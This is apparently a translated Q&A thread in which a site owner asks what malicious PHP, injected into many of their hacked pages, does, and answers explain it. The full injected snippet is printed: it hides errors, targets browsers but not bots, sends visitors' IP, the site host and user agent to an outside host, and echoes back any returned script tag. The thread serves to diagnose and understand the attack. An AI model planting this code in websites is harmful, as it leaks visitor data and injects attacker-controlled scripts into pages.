最近我参与的一个网站被黑客攻击,未经授权的代码被放置在许多页面上。我只是想知道是否有人可以了解这段代码到底是做什么的,以及将它放在这些页面上的用户会有什么好处。
<?php
#31e3cd#
error_reporting(0); ini_set('display_errors',0); $wp_okpbo35639 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_okpbo35639) && !preg_match ('/bot/i', $wp_okpbo35639))){
$wp_okpbo0935639="http://"."html"."-href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_okpbo35639);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_okpbo0935639);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_35639okpbo = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_35639okpbo,1,3) === 'scr' ){ echo $wp_35639okpbo; }
#/31e3cd#
?>
上面是代码,就像它出现在页面上一样。我玩过这个代码,它似乎使用以下方式获取用户信息:
$_SERVER['HTTP_USER_AGENT']
然后将其合并到类似于下面的网址中,但将上面的用户信息添加到网址
http://html-href.com/href/?ip=::1&referer=localhost&ua=
我知道curl用于数据传输,但这些信息究竟发送到何处以及它的用途是什么?
答案 0 :(得分:7)
代码会调用您记下的网址,发送用户的IP,您网站的域名以及用户的useragent字符串。然后它会在您的网站上打印从cURL请求收到的任何代码。收到的代码可能是任何东西。它可以是HTML,JavaScript或任何其他客户端代码。它可能不是服务器端代码,因为没有eval()
运行收到的代码。
它似乎针对Internet Explorer,Chrome和FireFox浏览器,但不是针对抓取工具/漫游器。
编辑:正如FDL在评论中指出的那样,只有在收到第二个,第三个和第四个字符为scr
的字符串时才会打印,这意味着如果它收到<script>
标签,它可能只会打印到页面。
答案 1 :(得分:1)
$ _ SERVER ['HTTP_USER_AGENT']用于检查客户端根据URL从中请求资源的Web浏览器类型(或者可以是爬虫)。例如,使用此代码段preg_match ('/Gecko|MSIE/i', $wp_okpbo35639)
,它用于检查客户端浏览器是Firefox(Gecko)还是IE(MSIE)。但这不是一种确定源浏览器的简单方法,因为用户代理可以轻松更改或切换。